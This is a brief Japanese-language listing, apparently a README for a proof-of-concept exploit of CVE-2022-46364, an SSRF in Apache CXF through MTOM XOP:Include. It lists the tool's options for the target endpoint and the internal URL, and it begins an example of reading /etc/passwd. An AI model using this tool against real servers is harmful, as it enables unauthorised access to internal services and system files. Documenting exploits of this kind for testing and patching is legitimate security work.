CVE-2022-46364-Poc

CVE-2022-46364 エクスプロイト Apache CXF SSRF via MTOM XOP:Include | CVSS 9.8 重大 脆弱性 Apache CXF -s -d -t, --target - 脆弱な CXF SOAP エンドポイント 必須 -s, --ssrf-url - 内部 URL 必須 -d, --domain - ターゲットドメイン デフォルト: localhost --plain-soap - MTOM の代わりにプレーン SOAP を使用 例 root@kitploit: /etc/passwd の読み取り python3 exploit.py...